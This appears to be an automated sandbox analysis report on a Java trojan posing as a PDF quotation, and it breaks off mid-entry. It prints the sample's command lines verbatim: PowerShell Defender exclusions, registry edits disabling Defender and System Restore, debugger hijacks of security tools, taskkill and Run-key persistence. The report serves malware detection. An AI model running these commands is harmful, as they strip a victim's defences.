6a36a0d694602b12841d4e7128fc87a9c8f21730069e46e53c924721c6fb96cb

Analysis

max time kernel
147s
max time network
150s
platform
windows10_x64
resource
win10v200430
submitted
13-07-2020 06:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

URGENT QUOTATION.PDF.jar
Size

403KB
MD5

ebd06502ce342277b68df53cadb463f6
SHA1

838b17cd4b5678f5743e1c6b2ea20266c1754be8
SHA256

6a36a0d694602b12841d4e7128fc87a9c8f21730069e46e53c924721c6fb96cb
SHA512

1d130eef42911ee7cb65fae3173e8a750fa5155204a69cdd1807d72a1277271d7297dde918c48f4652f9ee80903b35e512dec8a13b8504d031c06b2c675de56b

Score

10^/10

persistence evasion trojan discovery

Malware Config

Signatures

Suspicious use of WriteProcessMemory 386 IoCs

Processes:

java.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2804 wrote to memory of 3508	2804	java.exe	cmd.exe
PID 2804 wrote to memory of 3508	2804	java.exe	cmd.exe
PID 2804 wrote to memory of 3924	2804	java.exe	cmd.exe
PID 2804 wrote to memory of 3924	2804	java.exe	cmd.exe
PID 3924 wrote to memory of 3356	3924	cmd.exe	WMIC.exe
PID 3924 wrote to memory of 3356	3924	cmd.exe	WMIC.exe
PID 2804 wrote to memory of 984	2804	java.exe	cmd.exe
PID 2804 wrote to memory of 984	2804	java.exe	cmd.exe
PID 984 wrote to memory of 3972	984	cmd.exe	WMIC.exe
PID 984 wrote to memory of 3972	984	cmd.exe	WMIC.exe
PID 2804 wrote to memory of 1476	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 1476	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 1696	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 1696	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 412	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 412	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 2268	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 2268	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 568	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 568	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 3032	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 3032	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 3776	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 3776	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 3136	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 3136	2804	java.exe	attrib.exe
PID 2804 wrote to memory of 1004	2804	java.exe	cmd.exe
PID 2804 wrote to memory of 1004	2804	java.exe	cmd.exe
PID 2804 wrote to memory of 3976	2804	java.exe	powershell.exe
PID 2804 wrote to memory of 3976	2804	java.exe	powershell.exe
PID 2804 wrote to memory of 3352	2804	java.exe	taskkill.exe
PID 2804 wrote to memory of 3352	2804	java.exe	taskkill.exe
PID 1004 wrote to memory of 3820	1004	cmd.exe	reg.exe
PID 1004 wrote to memory of 3820	1004	cmd.exe	reg.exe
PID 2804 wrote to memory of 3552	2804	java.exe	reg.exe
PID 2804 wrote to memory of 3552	2804	java.exe	reg.exe
PID 2804 wrote to memory of 492	2804	java.exe	reg.exe
PID 2804 wrote to memory of 492	2804	java.exe	reg.exe
PID 2804 wrote to memory of 2964	2804	java.exe	reg.exe
PID 2804 wrote to memory of 2964	2804	java.exe	reg.exe
PID 2804 wrote to memory of 1996	2804	java.exe	reg.exe
PID 2804 wrote to memory of 1996	2804	java.exe	reg.exe
PID 2804 wrote to memory of 3796	2804	java.exe	reg.exe
PID 2804 wrote to memory of 3796	2804	java.exe	reg.exe
PID 2804 wrote to memory of 3312	2804	java.exe	reg.exe
PID 2804 wrote to memory of 3312	2804	java.exe	reg.exe
PID 2804 wrote to memory of 2188	2804	java.exe	reg.exe
PID 2804 wrote to memory of 2188	2804	java.exe	reg.exe
PID 2804 wrote to memory of 3832	2804	java.exe	reg.exe
PID 2804 wrote to memory of 3832	2804	java.exe	reg.exe
PID 2804 wrote to memory of 2108	2804	java.exe	reg.exe
PID 2804 wrote to memory of 2108	2804	java.exe	reg.exe
PID 2804 wrote to memory of 2748	2804	java.exe	reg.exe
PID 2804 wrote to memory of 2748	2804	java.exe	reg.exe
PID 1004 wrote to memory of 1116	1004	cmd.exe	reg.exe
PID 1004 wrote to memory of 1116	1004	cmd.exe	reg.exe
PID 2804 wrote to memory of 964	2804	java.exe	reg.exe
PID 2804 wrote to memory of 964	2804	java.exe	reg.exe
PID 2804 wrote to memory of 1836	2804	java.exe	reg.exe
PID 2804 wrote to memory of 1836	2804	java.exe	reg.exe
PID 2804 wrote to memory of 2496	2804	java.exe	reg.exe
PID 2804 wrote to memory of 2496	2804	java.exe	reg.exe
PID 2804 wrote to memory of 3792	2804	java.exe	cmd.exe
PID 2804 wrote to memory of 3792	2804	java.exe	cmd.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe

Suspicious use of AdjustPrivilegeToken 122 IoCs

Processes:

WMIC.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	3356	WMIC.exe
Token: SeSecurityPrivilege	3356	WMIC.exe
Token: SeTakeOwnershipPrivilege	3356	WMIC.exe
Token: SeLoadDriverPrivilege	3356	WMIC.exe
Token: SeSystemProfilePrivilege	3356	WMIC.exe
Token: SeSystemtimePrivilege	3356	WMIC.exe
Token: SeProfSingleProcessPrivilege	3356	WMIC.exe
Token: SeIncBasePriorityPrivilege	3356	WMIC.exe
Token: SeCreatePagefilePrivilege	3356	WMIC.exe
Token: SeBackupPrivilege	3356	WMIC.exe
Token: SeRestorePrivilege	3356	WMIC.exe
Token: SeShutdownPrivilege	3356	WMIC.exe
Token: SeDebugPrivilege	3356	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3356	WMIC.exe
Token: SeRemoteShutdownPrivilege	3356	WMIC.exe
Token: SeUndockPrivilege	3356	WMIC.exe
Token: SeManageVolumePrivilege	3356	WMIC.exe
Token: 33	3356	WMIC.exe
Token: 34	3356	WMIC.exe
Token: 35	3356	WMIC.exe
Token: 36	3356	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3356	WMIC.exe
Token: SeSecurityPrivilege	3356	WMIC.exe
Token: SeTakeOwnershipPrivilege	3356	WMIC.exe
Token: SeLoadDriverPrivilege	3356	WMIC.exe
Token: SeSystemProfilePrivilege	3356	WMIC.exe
Token: SeSystemtimePrivilege	3356	WMIC.exe
Token: SeProfSingleProcessPrivilege	3356	WMIC.exe
Token: SeIncBasePriorityPrivilege	3356	WMIC.exe
Token: SeCreatePagefilePrivilege	3356	WMIC.exe
Token: SeBackupPrivilege	3356	WMIC.exe
Token: SeRestorePrivilege	3356	WMIC.exe
Token: SeShutdownPrivilege	3356	WMIC.exe
Token: SeDebugPrivilege	3356	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3356	WMIC.exe
Token: SeRemoteShutdownPrivilege	3356	WMIC.exe
Token: SeUndockPrivilege	3356	WMIC.exe
Token: SeManageVolumePrivilege	3356	WMIC.exe
Token: 33	3356	WMIC.exe
Token: 34	3356	WMIC.exe
Token: 35	3356	WMIC.exe
Token: 36	3356	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3972	WMIC.exe
Token: SeSecurityPrivilege	3972	WMIC.exe
Token: SeTakeOwnershipPrivilege	3972	WMIC.exe
Token: SeLoadDriverPrivilege	3972	WMIC.exe
Token: SeSystemProfilePrivilege	3972	WMIC.exe
Token: SeSystemtimePrivilege	3972	WMIC.exe
Token: SeProfSingleProcessPrivilege	3972	WMIC.exe
Token: SeIncBasePriorityPrivilege	3972	WMIC.exe
Token: SeCreatePagefilePrivilege	3972	WMIC.exe
Token: SeBackupPrivilege	3972	WMIC.exe
Token: SeRestorePrivilege	3972	WMIC.exe
Token: SeShutdownPrivilege	3972	WMIC.exe
Token: SeDebugPrivilege	3972	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3972	WMIC.exe
Token: SeRemoteShutdownPrivilege	3972	WMIC.exe
Token: SeUndockPrivilege	3972	WMIC.exe
Token: SeManageVolumePrivilege	3972	WMIC.exe
Token: 33	3972	WMIC.exe
Token: 34	3972	WMIC.exe
Token: 35	3972	WMIC.exe
Token: 36	3972	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3972	WMIC.exe

Loads dropped DLL 1 IoCs

Processes:

java.exe

pid process

2804 java.exe
Drops file in System32 directory 2 IoCs

Processes:

java.exe

description ioc process

File created C:\Windows\System32\qYmdd java.exe
File opened for modification C:\Windows\System32\qYmdd java.exe

pid	process
2804	java.exe

description	ioc	process
File created	C:\Windows\System32\qYmdd	java.exe
File opened for modification	C:\Windows\System32\qYmdd	java.exe

Sets file execution options in registry 2 TTPs 32 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe\debugger = "svchost.exe"	reg.exe

Kills process with taskkill 16 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
4356	taskkill.exe
4228	taskkill.exe
3860	taskkill.exe
3904	taskkill.exe
4228	taskkill.exe
4468	taskkill.exe
2272	taskkill.exe
1448	taskkill.exe
3964	taskkill.exe
5104	taskkill.exe
3516	taskkill.exe
3632	taskkill.exe
2392	taskkill.exe
3832	taskkill.exe
3352	taskkill.exe
4528	taskkill.exe

Checks for installed software on the system 1 TTPs 38 IoCs

discovery

Query Registry

T1012

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\DisplayName	reg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe\DisplayName	reg.exe
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}\DisplayName	reg.exe
Key opened	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\software\microsoft\windows\currentversion\uninstall	reg.exe
Key queried	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key opened	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}\DisplayName	reg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}\DisplayName	reg.exe
Key opened	\REGISTRY\MACHINE\software\WOW6432Node\microsoft\windows\currentversion\uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}\DisplayName	reg.exe
Key queried	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\DisplayName	reg.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 75.0 (x64 en-US)\DisplayName	reg.exe
Key opened	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\software\microsoft\windows\currentversion\uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}\DisplayName	reg.exe

Drops desktop.ini file(s) 4 IoCs

Processes:

java.exeattrib.exeattrib.exe

description	ioc	process
File created	C:\Users\Admin\LdlkM\Desktop.ini	java.exe
File opened for modification	C:\Users\Admin\LdlkM\Desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\LdlkM\Desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\LdlkM\Desktop.ini	java.exe

Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490
Views/modifies file attributes 1 TTPs 8 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid process

412 attrib.exe
2268 attrib.exe
568 attrib.exe
3032 attrib.exe
3776 attrib.exe
3136 attrib.exe
1476 attrib.exe
1696 attrib.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

java.exe

pid process

2804 java.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3976 powershell.exe
3976 powershell.exe
3976 powershell.exe

pid	process
412	attrib.exe
2268	attrib.exe
568	attrib.exe
3032	attrib.exe
3776	attrib.exe
3136	attrib.exe
1476	attrib.exe
1696	attrib.exe

pid	process
2804	java.exe

pid	process
3976	powershell.exe
3976	powershell.exe
3976	powershell.exe

Adds Run entry to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

java.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run\gwjxXxT = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\LdlkM\\lAdax.class\""	java.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	java.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\gwjxXxT = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\LdlkM\\lAdax.class\""	java.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run	java.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\URGENT QUOTATION.PDF.jar"
1⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Drops file in System32 directory
- Drops desktop.ini file(s)
- Suspicious use of SetWindowsHookEx
- Adds Run entry to start application
PID:2804

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3508

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:3924

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3356

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:984

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3972

C:\Windows\SYSTEM32\attrib.exe
attrib +h C:\Users\Admin\Oracle
2⤵
- Views/modifies file attributes
PID:1476

C:\Windows\SYSTEM32\attrib.exe
attrib +h +r +s C:\Users\Admin\.ntusernt.ini
2⤵
- Views/modifies file attributes
PID:1696

C:\Windows\SYSTEM32\attrib.exe
attrib -s -r C:\Users\Admin\LdlkM\Desktop.ini
2⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
PID:412

C:\Windows\SYSTEM32\attrib.exe
attrib +s +r C:\Users\Admin\LdlkM\Desktop.ini
2⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
PID:2268

C:\Windows\SYSTEM32\attrib.exe
attrib -s -r C:\Users\Admin\LdlkM
2⤵
- Views/modifies file attributes
PID:568

C:\Windows\SYSTEM32\attrib.exe
attrib +s +r C:\Users\Admin\LdlkM
2⤵
- Views/modifies file attributes
PID:3032

C:\Windows\SYSTEM32\attrib.exe
attrib +h C:\Users\Admin\LdlkM
2⤵
- Views/modifies file attributes
PID:3776

C:\Windows\SYSTEM32\attrib.exe
attrib +h +s +r C:\Users\Admin\LdlkM\lAdax.class
2⤵
- Views/modifies file attributes
PID:3136

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1004

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
- Checks for installed software on the system
PID:3820

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:32
3⤵
- Checks for installed software on the system
PID:1116

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\LdlkM','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\LdlkM\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3976

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
2⤵
- Kills process with taskkill
PID:3352

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3552

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d "1" /f
2⤵
PID:492

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:2964

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d "1" /f
2⤵
PID:1996

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
2⤵
PID:3796

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3312

C:\Windows\System32\reg.exe
